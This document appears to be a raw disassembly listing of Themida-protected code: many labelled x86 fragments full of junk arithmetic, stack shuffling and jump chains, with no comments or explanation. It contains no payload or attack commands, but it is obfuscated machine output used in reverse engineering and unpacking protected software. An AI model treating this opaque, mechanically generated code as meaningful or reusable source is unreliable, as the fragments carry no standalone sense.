loc_5A4B06:				; CODE XREF: Themida_:005A6454j
		shl	ebx, 3
		jz	loc_5A8AD8
		add	ebx, 180241C0h
		mov	esi, ebx
		pop	ebx
		add	esi, 7B757AEh
		jnb	loc_59E074
		jmp	loc_5A4ECA
; ---------------------------------------------------------------------------
		push	43DAh
		pop	eax


loc_5A4B2F:				; CODE XREF: Themida_:0059BC25j
		sub	esi, 1682034Fh
		sub	esi, 0ED89CB7Ah
		add	eax, 308F19EAh
		sub	eax, esi
		push	edi
		mov	edi, 58B63ACDh
		shr	edi, 3
		not	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6490458Dh
		sub	eax, 56D767D9h
		jmp	loc_59B021
; ---------------------------------------------------------------------------


loc_5A4B65:				; CODE XREF: Themida_:0059A1FCj
		sub	ecx, 1
		add	ecx, 0EF38E5FFh
		add	ebx, 1D0B5241h
		sub	ebx, ecx
		jmp	loc_59E737
; ---------------------------------------------------------------------------


loc_5A4B7E:				; CODE XREF: Themida_:005A4179j
					; Themida_:005A65E6j
		add	edx, 749C4715h
		jl	loc_5A3A49
		jmp	loc_5986AE
; ---------------------------------------------------------------------------


loc_5A4B8F:				; CODE XREF: Themida_:005A40ADj
		sub	esi, 768F7F10h
		add	esi, eax
		add	esi, 768F7F10h
		jmp	loc_5984FC
; ---------------------------------------------------------------------------


loc_5A4BA2:				; CODE XREF: Themida_:005996E9j
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		mov	dl, bl
		pop	ebx
		sub	bl, 68h
		sub	bl, dl
		add	bl, 68h
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5A3308
; ---------------------------------------------------------------------------


loc_5A4BC1:				; CODE XREF: Themida_:0059FB4Cj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	2EA0h
		mov	[esp], edx
		jmp	loc_5A6F73
; ---------------------------------------------------------------------------


loc_5A4BDB:				; CODE XREF: Themida_:005A3E31j
					; Themida_:005AEAF0j
		mov	esi, esp
		jmp	loc_5AD71D
; ---------------------------------------------------------------------------


loc_5A4BE2:				; CODE XREF: Themida_:005AE960j
		mov	ebx, [esp]
		add	esp, 4
		sub	[edi+20h], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_5A4BF8:				; CODE XREF: Themida_:0059BD87j
					; Themida_:005A7806j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_5A90F1
; ---------------------------------------------------------------------------


loc_5A4C04:				; CODE XREF: Themida_:005A0958j
					; Themida_:005A167Bj
		pop	esp
		movsx	ecx, al
		jmp	loc_5A9408
; ---------------------------------------------------------------------------


loc_5A4C0D:				; CODE XREF: Themida_:005A6D3Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5AC622
; ---------------------------------------------------------------------------


loc_5A4C1C:				; CODE XREF: Themida_:0059C012j
					; Themida_:005AC486j
		pop	eax
		and	edx, 61910B7Eh
		jmp	loc_59F860
; ---------------------------------------------------------------------------


loc_5A4C28:				; CODE XREF: Themida_:005AE9D4j
		mov	[esp], ecx
		push	79941815h
		pop	ecx
		jmp	loc_5A6330
; ---------------------------------------------------------------------------


loc_5A4C36:				; CODE XREF: Themida_:005A17CAj
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 39h
		xor	cl, ah
		pop	eax
		push	eax
		jmp	loc_5A2D2A
; ---------------------------------------------------------------------------


loc_5A4C4A:				; CODE XREF: Themida_:005A4AD8j
		add	edx, edi
		pop	edi
		add	edx, edi
		sub	edx, 5FA1609Dh
		push	ebx
		mov	bh, al
		push	eax
		mov	eax, 0
		add	eax, 4F2647DDh
		jmp	loc_5A5067
; ---------------------------------------------------------------------------


loc_5A4C68:				; CODE XREF: Themida_:0059AC4Bj
		dec	esi
		dec	esi
		add	esi, 229972Fh
		sub	ebx, esi
		pop	esi
		jmp	loc_5A7D4A
; ---------------------------------------------------------------------------


loc_5A4C78:				; CODE XREF: Themida_:005AD291j
		xor	ecx, eax
		pop	eax
		mov	ebx, ecx
		jmp	loc_5A9C28
; ---------------------------------------------------------------------------


loc_5A4C82:				; CODE XREF: Themida_:005AA643j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, 5A5F5CF7h
		jmp	loc_5A7B25
; ---------------------------------------------------------------------------


loc_5A4C9D:				; CODE XREF: Themida_:005A3B41j
		mov	ebx, 1AA31A3h
		add	eax, ebx
		pop	ebx
		jmp	loc_5A2F3C
; ---------------------------------------------------------------------------


loc_5A4CAA:				; CODE XREF: Themida_:005AA073j
		push	60FDh
		jmp	loc_5A0EE8
; ---------------------------------------------------------------------------


loc_5A4CB4:				; CODE XREF: Themida_:005A11DEj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A99B4
; ---------------------------------------------------------------------------


loc_5A4CBD:				; CODE XREF: Themida_:005A6E38j
		pop	ebx
		push	ecx
		jmp	loc_59AC3B
; ---------------------------------------------------------------------------


loc_5A4CC4:				; CODE XREF: Themida_:0059AADDj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A5ECD
; ---------------------------------------------------------------------------


loc_5A4CD5:				; CODE XREF: Themida_:0059F93Cj
		push	3AC9h
		mov	[esp], edi
		push	ebp
		push	6CA96F5Ch
		pop	ebp
		and	ebp, 1030713Bh
		jl	loc_59D78D
		neg	ebp
		add	ebp, 48A56DFCh
		mov	edi, ebp
		pop	ebp
		neg	edi
		push	ecx
		push	esi
		push	5B576F25h
		pop	esi
		shr	esi, 8
		add	esi, 4CB20BBCh
		sub	esi, 95927013h
		mov	ecx, esi
		pop	esi
		xor	edi, ecx
		pop	ecx
		jmp	loc_5A704B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A4D27:				; CODE XREF: Themida_:005AC204j
		shr	ebp, 1
		add	ebp, 0D9AED867h
		add	edx, ebp
		pop	ebp
		sub	ecx, edx
		jmp	loc_5ABB37
; ---------------------------------------------------------------------------


loc_5A4D39:				; CODE XREF: Themida_:005AA2CBj
					; Themida_:005AD9A3j
		add	ecx, 2E537FDDh
		add	ecx, edx
		sub	ecx, 2E537FDDh
		pop	edx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_59F72B
; ---------------------------------------------------------------------------


loc_5A4D55:				; CODE XREF: Themida_:005A7697j
		sub	dh, 0F5h
		add	dh, ch
		add	dh, 0F5h
		jmp	loc_5A9A91
; ---------------------------------------------------------------------------


loc_5A4D62:				; CODE XREF: Themida_:005A9A3Aj
		push	eax
		mov	eax, 279F35BAh
		add	eax, 15BA4F9Ah
		add	eax, 0C2A67AADh
		jmp	loc_5A8567
; ---------------------------------------------------------------------------


loc_5A4D77:				; CODE XREF: Themida_:0059EE48j
		mov	ebp, 4E082551h
		inc	ebp
		add	ebp, 0B1F7DAB2h
		add	ecx, ebp
		jmp	loc_5A7D0A
; ---------------------------------------------------------------------------


loc_5A4D8A:				; CODE XREF: Themida_:005AD91Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A36FE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5AB772
; ---------------------------------------------------------------------------


loc_5A4DA0:				; CODE XREF: Themida_:005985F1j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5A1A48
; ---------------------------------------------------------------------------


loc_5A4DC0:				; CODE XREF: Themida_:005A5493j
		push	esi
		mov	esi, 1AC71B6Ch
		jmp	loc_5AD9DD
; ---------------------------------------------------------------------------


loc_5A4DCB:				; CODE XREF: Themida_:005AC3B9j
		mov	edx, 1F550FCBh
		jmp	loc_5A02B9
; ---------------------------------------------------------------------------


loc_5A4DD5:				; CODE XREF: Themida_:005A80D4j
		js	loc_5A306B
		push	79D3h
		mov	[esp], edi
		mov	edi, 4FEA3936h
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_59E9B8
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	2901h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59BA05
; ---------------------------------------------------------------------------


loc_5A4E21:				; CODE XREF: Themida_:005997A5j
		xor	ebp, 2FB67178h
		add	ebp, 54E09843h
		add	esi, 63660AF6h
		add	esi, ebp
		sub	esi, 63660AF6h
		pop	ebp
		add	esi, 602009FBh
		add	esi, edx
		sub	esi, 602009FBh
		jmp	loc_5ACD90
; ---------------------------------------------------------------------------


loc_5A4E4F:				; CODE XREF: Themida_:005A103Bj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5A30F3
; ---------------------------------------------------------------------------


loc_5A4E59:				; CODE XREF: Themida_:0059DF25j
					; Themida_:005A119Ej
		add	esp, 4
		push	2410h
		mov	[esp], eax
		jmp	loc_5AF075
; ---------------------------------------------------------------------------


loc_5A4E69:				; CODE XREF: Themida_:0059BB54j
		jmp	loc_5A8A6B
; ---------------------------------------------------------------------------


loc_5A4E6E:				; CODE XREF: Themida_:005A7CD6j
		push	esi
		push	edx
		push	4AA27CD3h
		pop	edx
		xor	edx, 0A012901h
		sub	edx, 631877FBh
		mov	esi, edx
		pop	edx
		jmp	loc_5AA5E6
; ---------------------------------------------------------------------------


loc_5A4E8A:				; CODE XREF: Themida_:0059C22Ej
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_59EA76
; ---------------------------------------------------------------------------


loc_5A4E94:				; CODE XREF: Themida_:005A1B03j
		jz	loc_59E407
		add	ecx, 5EC81022h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		sub	esp, 4
		jmp	loc_59D529
; ---------------------------------------------------------------------------


loc_5A4EB0:				; CODE XREF: Themida_:005A645Bj
		push	ecx
		mov	cl, 0E2h
		jmp	loc_5A6844
; ---------------------------------------------------------------------------


loc_5A4EB8:				; CODE XREF: Themida_:005A270Ej
					; Themida_:005A39F9j
		or	ebp, 568A3A16h
		jmp	loc_5AA74A
; ---------------------------------------------------------------------------


loc_5A4EC3:				; CODE XREF: Themida_:005A637Cj
		mov	ebp, esp
		jmp	loc_59C618
; ---------------------------------------------------------------------------


loc_5A4ECA:				; CODE XREF: Themida_:0059B235j
					; Themida_:005A4B24j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0ECh
		push	edx
		mov	dh, 0C8h
		or	dh, 32h
		and	dh, 57h
		shr	dh, 2
		neg	dh
		push	ecx
		jmp	loc_5A3BF0
; ---------------------------------------------------------------------------


loc_5A4EE9:				; CODE XREF: Themida_:005AC8C1j
		jmp	loc_5A557A
; ---------------------------------------------------------------------------


loc_5A4EEE:				; CODE XREF: Themida_:005AB1BBj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A6C42
; ---------------------------------------------------------------------------


loc_5A4EF7:				; CODE XREF: Themida_:0059E85Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_59B8CA
; ---------------------------------------------------------------------------


loc_5A4F03:				; CODE XREF: Themida_:005A2E3Aj
		sub	esi, 53B1397Bh
		sub	esi, 0E4F43654h
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 48363CF6h
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2F02F11h
		shl	edi, 2
		xor	edi, 43F680B2h
		xor	esi, edi
		jmp	loc_5A0AA9
; ---------------------------------------------------------------------------


loc_5A4F41:				; CODE XREF: Themida_:005ACFF0j
					; Themida_:loc_5AD96Fj
		push	ebx
		mov	ebx, 498513F0h
		add	ebx, 0FFFFFFFFh
		and	ebx, 1AD812DAh
		add	ebx, 0F77FED3Ah
		add	ebp, ebx
		pop	ebx
		push	4974h
		mov	[esp], ecx
		jmp	loc_5A52EA
; ---------------------------------------------------------------------------


loc_5A4F66:				; CODE XREF: Themida_:005A96D0j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	eax, 4
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_5A293E
; ---------------------------------------------------------------------------


loc_5A4F81:				; CODE XREF: Themida_:00598769j
		sub	ebx, 1DB97310h
		mov	edx, [esp]
		push	eax
		jmp	loc_5AAB68
; ---------------------------------------------------------------------------


loc_5A4F90:				; CODE XREF: Themida_:005A28D9j
		shl	cl, 7
		jmp	loc_598F13
; ---------------------------------------------------------------------------


loc_5A4F98:				; CODE XREF: Themida_:0059B9C8j
		and	edx, 5CA5311Eh
		push	ecx
		mov	ecx, 5F9A6739h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A088F
; ---------------------------------------------------------------------------


loc_5A4FAF:				; CODE XREF: Themida_:0059E8F9j
					; Themida_:005A80AEj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A12ED
; ---------------------------------------------------------------------------


loc_5A4FC0:				; CODE XREF: Themida_:0059DF47j
		xor	edi, 71C61AC3h
		jbe	loc_5A6055
		add	edi, 0F8160DDCh
		mov	edx, edi
		jmp	loc_5A08F1
; ---------------------------------------------------------------------------


loc_5A4FD9:				; CODE XREF: Themida_:0059AB9Aj
		or	ecx, 55136896h
		jmp	loc_5A7CEE
; ---------------------------------------------------------------------------


loc_5A4FE4:				; CODE XREF: Themida_:005A4798j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	6B7Bh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 243F75BDh
		jmp	loc_5A760F
; ---------------------------------------------------------------------------


loc_5A501B:				; CODE XREF: Themida_:0059C4E3j
		not	esi
		sub	esi, 6859351Fh
		sub	esi, 0FFFFFFFFh
		push	eax
		mov	eax, 873D9F35h
		sub	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		sub	eax, ebx
		push	edx
		mov	edx, 116F39D4h
		sub	eax, edx
		jmp	loc_59A822
; ---------------------------------------------------------------------------


loc_5A5041:				; CODE XREF: Themida_:005A7CE9j
		sub	ecx, 88724CFEh
		add	ebx, 104A07ACh
		add	ebx, ecx
		sub	ebx, 104A07ACh
		jmp	loc_59FFC8
; ---------------------------------------------------------------------------


loc_5A505A:				; CODE XREF: Themida_:0059FA1Bj
		mov	edi, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A0A9E
; ---------------------------------------------------------------------------


loc_5A5067:				; CODE XREF: Themida_:005A4C63j
		add	eax, edx
		push	edi
		mov	edi, 4F2647DDh
		sub	eax, edi
		pop	edi
		mov	[eax], bh
		jmp	loc_5A5CB0
; ---------------------------------------------------------------------------


loc_5A5079:				; CODE XREF: Themida_:005A4716j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5A1D78
; ---------------------------------------------------------------------------


loc_5A5084:				; CODE XREF: Themida_:005AA8BDj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59C6E4
; ---------------------------------------------------------------------------


loc_5A5092:				; CODE XREF: Themida_:0059A3E3j
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		jmp	loc_5A0185
; ---------------------------------------------------------------------------


loc_5A509E:				; CODE XREF: Themida_:005A4361j
		add	eax, 48AD118Ch
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5A50D3
; ---------------------------------------------------------------------------


loc_5A50B4:				; CODE XREF: Themida_:00598D7Bj
					; Themida_:005AC801j
		shr	esi, 7
		neg	esi
		jp	loc_59ED04
		add	esi, 22C8E3C7h
		and	cl, 6Eh
		pop	esi


loc_5A50C9:				; CODE XREF: Themida_:005A10ECj
		mov	ebx, 0D5D24BB5h
		jmp	loc_5A8205
; ---------------------------------------------------------------------------


loc_5A50D3:				; CODE XREF: Themida_:005A50AFj
		push	edi
		jmp	loc_59B3F6
; ---------------------------------------------------------------------------


loc_5A50D9:				; CODE XREF: Themida_:005AECE4j
		mov	eax, esp
		jmp	loc_5A22CD
; ---------------------------------------------------------------------------
		push	ebp
		push	2234h
		mov	[esp], ebx
		mov	ebx, 2C89768Dh
		mov	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7DF6E6Ch
		xor	esi, 0D4A9E31Fh
		jmp	loc_5A9547
; ---------------------------------------------------------------------------


loc_5A5120:				; CODE XREF: Themida_:005A49E5j
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_59C353
; ---------------------------------------------------------------------------


loc_5A512D:				; CODE XREF: Themida_:005ADC0Dj
		mov	esi, 1D834633h
		push	ebx
		mov	ebx, 2B371C6Ah
		jmp	loc_5A838F
; ---------------------------------------------------------------------------


loc_5A513D:				; CODE XREF: Themida_:005AA6E2j
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_5A71B4
; ---------------------------------------------------------------------------


loc_5A5162:				; CODE XREF: Themida_:005AB6FFj
		mov	[esp], edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		jmp	loc_59CD4F
; ---------------------------------------------------------------------------


loc_5A5170:				; CODE XREF: Themida_:005AC24Bj
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_59C29A
; ---------------------------------------------------------------------------


loc_5A517F:				; CODE XREF: Themida_:005A7158j
		xor	ebp, [esp]
		jmp	loc_59DB67
; ---------------------------------------------------------------------------


loc_5A5187:				; CODE XREF: Themida_:005ACF13j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_599E99
; ---------------------------------------------------------------------------


loc_5A51B2:				; CODE XREF: Themida_:005AB3E0j
		push	eax
		mov	eax, 3BA85537h
		shl	eax, 7
		shl	eax, 6
		xor	eax, 0AA6E004h
		add	ecx, eax
		jmp	loc_599F9E
; ---------------------------------------------------------------------------


loc_5A51CA:				; CODE XREF: Themida_:005A14A0j
		pop	edi
		inc	ebx
		push	ecx
		mov	ecx, 3D8B4462h
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		jmp	loc_5AB6AA
; ---------------------------------------------------------------------------


loc_5A51DC:				; CODE XREF: Themida_:005AEDF7j
		pop	edi
		jmp	loc_5A9652
; ---------------------------------------------------------------------------


loc_5A51E2:				; CODE XREF: Themida_:005A7C97j
		add	edi, 466673AAh
		jnp	loc_5A3636
		sub	edi, 48DC7EE8h
		mov	ebx, edi
		jmp	loc_59B37F
; ---------------------------------------------------------------------------
		push	ecx


loc_5A51FC:				; CODE XREF: Themida_:005AE5C1j
		push	1C55h
		mov	[esp], ebp
		mov	ebp, 1A0B18D9h
		push	edi
		mov	edi, 1A0B18D5h
		sub	ebp, edi
		pop	edi
		jmp	loc_59DA8F
; ---------------------------------------------------------------------------


loc_5A5217:				; CODE XREF: Themida_:005A8531j
		xor	ebx, 18A25B1Dh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_59EF24
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0CF4h
		mov	[esp], ebx
		push	313Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		push	ebx
		push	52A12154h
		mov	ebx, [esp]
		jmp	loc_5A9701
; ---------------------------------------------------------------------------


loc_5A524D:				; CODE XREF: Themida_:005A0683j
		jg	loc_5AC5D2
		jmp	loc_5ABB16
; ---------------------------------------------------------------------------


loc_5A5258:				; CODE XREF: Themida_:005A4270j
		add	eax, ecx
		jmp	loc_59FBC4
; ---------------------------------------------------------------------------


loc_5A525F:				; CODE XREF: Themida_:005AB2AAj
		pop	eax
		push	edx
		mov	dh, ch
		push	ecx
		push	ebx
		mov	bl, dh
		mov	cl, bl
		pop	ebx
		mov	[edi+eax*4], cl
		pop	ecx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_5ABAF9
; ---------------------------------------------------------------------------


loc_5A5277:				; CODE XREF: Themida_:0059BC34j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		and	esi, 42B94FF1h
		jmp	loc_5AF311
; ---------------------------------------------------------------------------


loc_5A528B:				; CODE XREF: Themida_:0059B6B0j
		push	7853h
		jmp	loc_5A1BAF
; ---------------------------------------------------------------------------
		push	319Ch
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5A72DD
; ---------------------------------------------------------------------------


loc_5A52A8:				; CODE XREF: Themida_:005A08B1j
		or	eax, 0A9E702Dh
		push	ecx
		mov	ecx, 0DE216C28h
		jmp	loc_59A09E
; ---------------------------------------------------------------------------


loc_5A52B8:				; CODE XREF: Themida_:0059E9A5j
		shr	ah, 1
		jp	loc_5AA473
		jmp	loc_5A8FDE
; ---------------------------------------------------------------------------


loc_5A52C5:				; CODE XREF: Themida_:00599BDDj
		pop	ebx
		sub	ebp, 609F4F07h
		jle	loc_5A3684
		neg	ebp
		jg	loc_5ADF19
		jmp	loc_5A912F
; ---------------------------------------------------------------------------
		push	ecx


loc_5A52E0:				; CODE XREF: Themida_:005A490Cj
		push	11E7h
		jmp	loc_5A9A89
; ---------------------------------------------------------------------------


loc_5A52EA:				; CODE XREF: Themida_:005A4F61j
		push	56EBh
		jmp	loc_5A564A
; ---------------------------------------------------------------------------


loc_5A52F4:				; CODE XREF: Themida_:005AD1F3j
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5302:				; CODE XREF: Themida_:0059D825j
		sub	ebx, 4
		jmp	loc_59B22E
; ---------------------------------------------------------------------------


loc_5A530A:				; CODE XREF: Themida_:005A99AFj
					; Themida_:005A9F0Aj
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A5310:				; CODE XREF: Themida_:005A092Bj
		shr	edx, 4
		jmp	loc_5A2D11
; ---------------------------------------------------------------------------


loc_5A5318:				; CODE XREF: Themida_:005AD183j
		pop	ecx
		jmp	loc_5A3CC3
; ---------------------------------------------------------------------------


loc_5A531E:				; CODE XREF: Themida_:005A08E5j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5AAECD
; ---------------------------------------------------------------------------


loc_5A5328:				; CODE XREF: Themida_:0059E087j
		sub	edx, 4CE67444h
		shl	edx, 8
		jns	loc_59DC0A
		jmp	loc_5A0421
; ---------------------------------------------------------------------------


loc_5A533C:				; CODE XREF: Themida_:005A2298j
		push	68B85815h
		pop	eax
		push	eax
		inc	dword ptr [esp]
		pop	eax
		jmp	loc_5A9AA5
; ---------------------------------------------------------------------------


loc_5A534C:				; CODE XREF: Themida_:005A85AAj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59C374
; ---------------------------------------------------------------------------
		lodsd
		push	3535h
		mov	[esp], ebp
		mov	ebp, 4AE65506h
		add	eax, 5ADF77EBh
		push	edx
		mov	edx, 76CD02EEh
		add	edx, 3EFD2E94h
		jmp	loc_59EF11
; ---------------------------------------------------------------------------


loc_5A537B:				; CODE XREF: Themida_:0059D882j
		push	6ECFh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5AA4C8
; ---------------------------------------------------------------------------


loc_5A538C:				; CODE XREF: Themida_:0059BA28j
		mov	dl, 2
		jmp	loc_5A9178
; ---------------------------------------------------------------------------


loc_5A5393:				; CODE XREF: Themida_:00598CAEj
					; Themida_:005A5ED6j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	495Ch
		mov	[esp], esi
		push	6DE22DC9h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A622A
; ---------------------------------------------------------------------------


loc_5A53B5:				; CODE XREF: Themida_:005A6B5Ej
		mov	bl, 0B9h
		add	bl, 38h
		add	bl, 0BEh
		xor	bl, 57h
		sub	cl, bl
		pop	ebx
		mov	dx, [esp]
		jmp	loc_5A1036
; ---------------------------------------------------------------------------


loc_5A53CC:				; CODE XREF: Themida_:005AA623j
		push	ecx
		push	edi
		push	73953FB1h
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 6FAA4F8Dh
		xor	edi, ecx
		jmp	loc_5AA53A
; ---------------------------------------------------------------------------


loc_5A53E9:				; CODE XREF: Themida_:0059E4F1j
					; Themida_:0059EFB1j
		sub	edi, ebx
		pop	ebx
		jmp	loc_5AE572
; ---------------------------------------------------------------------------


loc_5A53F1:				; CODE XREF: Themida_:0059B317j
		pop	eax
		not	eax
		inc	eax
		push	edi
		mov	edi, 356E453Bh
		add	edi, 35AF1C1h
		add	eax, edi
		pop	edi
		push	eax
		pop	ecx
		jmp	loc_5AAF82
; ---------------------------------------------------------------------------


loc_5A540B:				; CODE XREF: Themida_:0059935Aj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_59FB59
; ---------------------------------------------------------------------------


loc_5A5417:				; CODE XREF: Themida_:005A6507j
		pop	edx
		add	esp, 4
		push	52D3h
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5AF185
; ---------------------------------------------------------------------------


loc_5A542D:				; CODE XREF: Themida_:005A8880j
		mov	ecx, [esp]
		jmp	loc_59F524
; ---------------------------------------------------------------------------


loc_5A5435:				; CODE XREF: Themida_:005990D5j
		mov	ecx, 106B5BEAh
		or	esi, ecx
		pop	ecx
		push	eax
		mov	eax, 2CD67760h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AD851
; ---------------------------------------------------------------------------


loc_5A5453:				; CODE XREF: Themida_:005AA5E1j
		pop	eax
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_5A3422
; ---------------------------------------------------------------------------


loc_5A545E:				; CODE XREF: Themida_:005ACC94j
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5990A9
		push	dword ptr [edi+1Ch]
		push	ebp
		push	ebx
		push	7E5776C1h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	818h
		mov	[esp], esi
		mov	esi, 2CA45DAh
		mov	edi, esi
		pop	esi
		shr	edi, 3
		jnz	loc_5A4DC0
		push	esi
		mov	esi, 1AC71B6Ch
		jmp	loc_5A5E08
; ---------------------------------------------------------------------------


loc_5A54A4:				; CODE XREF: Themida_:0059D788j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5A7D86
; ---------------------------------------------------------------------------


loc_5A54AD:				; CODE XREF: Themida_:0059D26Aj
					; Themida_:005A7458j
		not	eax
		or	eax, 48C12A85h
		jmp	loc_59897C
; ---------------------------------------------------------------------------


loc_5A54B9:				; CODE XREF: Themida_:0059B9ABj
		pop	edi
		push	3840h
		mov	[esp], esi
		push	ecx
		mov	ecx, 4AA54861h
		mov	esi, 4AA54865h
		sub	esi, ecx
		jmp	loc_5A2CD4
; ---------------------------------------------------------------------------


loc_5A54D4:				; CODE XREF: Themida_:0059A550j
		mov	[esp], eax
		push	ebp
		jmp	loc_59D85F
; ---------------------------------------------------------------------------


loc_5A54DD:				; CODE XREF: Themida_:005ADD93j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_5ADA37
; ---------------------------------------------------------------------------


loc_5A54EA:				; CODE XREF: Themida_:005AE58Aj
		pop	ebp
		jmp	loc_5ACBFC
; ---------------------------------------------------------------------------


loc_5A54F0:				; CODE XREF: Themida_:0059C48Fj
		mov	ebx, 3BCD6596h
		dec	ebx
		and	ebx, 0EF1457Ch
		xor	ebx, 7F4E6DBEh
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4114757h
		add	ebp, edx
		add	ebp, 4114757h
		sub	ebp, 758F28AAh
		push	dword ptr [esp]
		jmp	loc_5A9144
; ---------------------------------------------------------------------------


loc_5A5521:				; CODE XREF: Themida_:0059F0DFj
		mov	[esp], esi
		push	55660A02h
		pop	esi
		add	esi, 0AA99F602h
		add	ebx, 56FE5D6Ch
		add	ebx, esi
		sub	ebx, 56FE5D6Ch
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_5AD38C
; ---------------------------------------------------------------------------


loc_5A5559:				; CODE XREF: Themida_:005A8A77j
		sub	edx, 423C7E29h
		sub	edx, ebx
		xchg	edx, ebx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_598C9F
; ---------------------------------------------------------------------------


loc_5A557A:				; CODE XREF: Themida_:loc_5A4EE9j
					; Themida_:005A9572j
		push	edi
		mov	edi, 7DFF6A63h
		sub	eax, edi
		jmp	loc_5A1BEA
; ---------------------------------------------------------------------------


loc_5A5587:				; CODE XREF: Themida_:loc_5AB394j
		xor	edx, 13C846F9h
		jp	loc_5A87F5
		jmp	loc_5ABA62
; ---------------------------------------------------------------------------


